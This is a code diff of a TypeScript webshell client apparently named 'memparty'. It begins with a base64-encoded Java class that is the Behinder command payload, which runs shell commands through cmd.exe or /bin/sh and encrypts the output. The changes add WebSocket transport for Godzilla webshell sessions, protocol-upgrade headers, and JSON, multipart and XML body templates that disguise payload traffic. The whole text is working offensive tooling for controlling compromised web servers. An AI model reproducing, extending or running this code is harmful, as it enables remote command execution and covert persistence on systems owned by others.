 var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
@@ -521,6 +784,20 @@ function postRaw(url, body, options = {}) {
   return new Promise((resolve2, reject) => {
     const started = Date.now();
     const transport = isHttps ? https : http;
+    const onResponse = (res) => {
+      const chunks = [];
+      res.on("data", (chunk) => chunks.push(chunk));
+      res.on(
+        "end",
+        () => resolve2({
+          status: res.statusCode ?? 0,
+          headers: res.headers,
+          body: Buffer.concat(chunks),
+          durationMs: Date.now() - started
+        })
+      );
+      res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
+    };
     const req = transport.request(
       {
         method: "POST",
@@ -538,21 +815,9 @@ function postRaw(url, body, options = {}) {
         timeout: timeoutMs,
         ...isHttps && insecure ? { rejectUnauthorized: false } : {}
       },
-      (res) => {
-        const chunks = [];
-        res.on("data", (chunk) => chunks.push(chunk));
-        res.on(
-          "end",
-          () => resolve2({
-            status: res.statusCode ?? 0,
-            headers: res.headers,
-            body: Buffer.concat(chunks),
-            durationMs: Date.now() - started
-          })
-        );
-        res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
-      }
+      onResponse
     );
+    req.on("upgrade", onResponse);
     req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
     req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
     req.write(body);
@@ -978,6 +1243,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
 
 // src/connect/godzilla.ts
 import iconv from "iconv-lite";
+
+// src/connect/websocket.ts
+import WebSocket from "ws";
+function isWebSocketUrl(url) {
+  return /^wss?:\/\//i.test(url);
+}
+function requestWebSocket(url, body, options = {}) {
+  let target;
+  try {
+    target = new URL(url);
+  } catch {
+    return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
+  }
+  if (target.protocol !== "ws:" && target.protocol !== "wss:") {
+    return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
+  }
+  const timeoutMs = options.timeoutMs ?? 3e4;
+  return new Promise((resolve2, reject) => {
+    const socket = new WebSocket(target, {
+      headers: buildHeaders({}, options),
+      handshakeTimeout: timeoutMs,
+      rejectUnauthorized: !options.insecure,
+      perMessageDeflate: false,
+      maxPayload: 256 * 1024 * 1024
+    });
+    let timer;
+    let settled = false;
+    const finish = (error, result) => {
+      if (settled) return;
+      settled = true;
+      if (timer) clearTimeout(timer);
+      timer = void 0;
+      socket.removeAllListeners();
+      if (error) reject(error);
+      else resolve2(result);
+      socket.close();
+    };
+    timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
+    socket.once("open", () => socket.send(body));
+    socket.on("message", (data, isBinary) => {
+      finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
+    });
+    socket.once("close", () => finish(new Error("WebSocket closed without a response")));
+    socket.once("error", (error) => finish(error));
+    socket.once("unexpected-response", (_request, response) => {
+      finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
+    });
+  });
+}
+
+// src/connect/godzilla.ts
 function serializeParams(params) {
   const parts = [];
   for (const [key, value] of params) {
@@ -1024,7 +1340,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
   const left = wrapper.slice(0, 16);
   const right = wrapper.slice(16);
   const baseHeaders = buildHeaders(
-    { "Content-Type": "application/x-www-form-urlencoded" },
+    {
+      "Content-Type": "application/x-www-form-urlencoded",
+      ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
+    },
     options
   );
   const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1032,14 +1351,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
     timeoutMs: options.timeoutMs,
     insecure: options.insecure
   });
-  const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
-  const cookies = extractCookies(initResponse.headers);
-  const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
+  let cookie;
+  if (isWebSocketUrl(url)) {
+    await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
+  } else {
+    const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
+    const cookies = extractCookies(initResponse.headers);
+    cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
+  }
   return {
     async callMethod(methodName, extraParams = []) {
       const callData = gzip(
         serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
       );
+      if (isWebSocketUrl(url)) {
+        const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
+        try {
+          return gunzipLenient(aesEcbDecrypt(response, xc));
+        } catch {
+          throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
+        }
+      }
       const res = await post(callData, cookie);
       const text = res.body.toString("latin1");
       const leftIdx = text.indexOf(left);
@@ -1505,9 +1837,16 @@ async function testSuo5(url, options = {}) {
 import { randomInt as randomInt2 } from "crypto";
 
 // src/core/site-profile.ts
-import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
+import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
 import { homedir as homedir2 } from "os";
 import { join as join2 } from "path";
+function inferBodyTemplateContentType(bodyTemplate) {
+  const t = bodyTemplate.trimStart();
+  if (t.startsWith("--")) return "multipart/form-data";
+  if (t.startsWith("{") || t.startsWith("[")) return "application/json";
+  if (t.startsWith("<")) return "text/xml";
+  return null;
+}
 function profileTemplates(profile) {
   if (Array.isArray(profile.templates) && profile.templates.length > 0) {
     return profile.templates;
@@ -1538,6 +1877,7 @@ function pickRequestShape(requests) {
   return requests[requests.length - 1];
 }
 var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+var PAYLOAD_PLACEHOLDER = "{{payload}}";
 function profilesDir() {
   const override = process.env.MEMPARTY_PROFILES;
   return override ? override : join2(homedir2(), ".memparty", "profiles");
@@ -1559,8 +1899,10 @@ function validateProfile(profile) {
     throw new Error("profile needs at least one template (templates[] or legacy template)");
   }
   templates.forEach((t, i) => {
-    if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
-      throw new Error(`templates[${i}].template must be a full HTML page`);
+    if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
+      throw new Error(
+        `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
+      );
     }
     if (!t.contentType) {
       throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
@@ -1576,6 +1918,24 @@ function validateProfile(profile) {
     if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
       throw new Error(`request[${ri}].secretIn must be body | query | header`);
     }
+    if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
+      throw new Error(`request[${ri}].bodyStyle must be form | json`);
+    }
+    if (req.bodyTemplate !== void 0) {
+      if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
+        throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
+      }
+      if (req.secretIn !== void 0 && req.secretIn !== "body") {
+        throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
+      }
+    }
+    if (req.headers !== void 0) {
+      for (const [k, v] of Object.entries(req.headers)) {
+        if (typeof v !== "string" || !k) {
+          throw new Error(`request[${ri}].headers must be a string map`);
+        }
+      }
+    }
     for (const [i, f] of (req.fields ?? []).entries()) {
       if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
         throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
@@ -1605,7 +1965,7 @@ function saveProfile(profile) {
   validateProfile(profile);
   const dir = profilesDir();
   mkdirSync(dir, { recursive: true });
-  writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
+  writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
 `, "utf8");
 }
 function loadProfile(name) {
@@ -1615,7 +1975,7 @@ function loadProfile(name) {
       `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
     );
   }
-  const profile = JSON.parse(readFileSync2(path, "utf8"));
+  const profile = JSON.parse(readFileSync3(path, "utf8"));
   validateProfile(profile);
   return profile;
 }
@@ -1747,7 +2107,6 @@ function renderFieldValue(value) {
     (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
   );
 }
-var RIGHT_MARKER = '";';
 function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
   return encryptField(plaintext, aesKey, cipher);
 }
@@ -1760,6 +2119,50 @@ function buildFormBody(fields) {
     "utf8"
   );
 }
+function buildJsonBody(fields) {
+  const obj = {};
+  for (const f of fields) obj[f.name] = f.value;
+  return Buffer.from(JSON.stringify(obj), "utf8");
+}
+function renderBodyTemplate(template, payload) {
+  return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
+}
+function escapeRegExp(s) {
+  return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[1], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[2], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
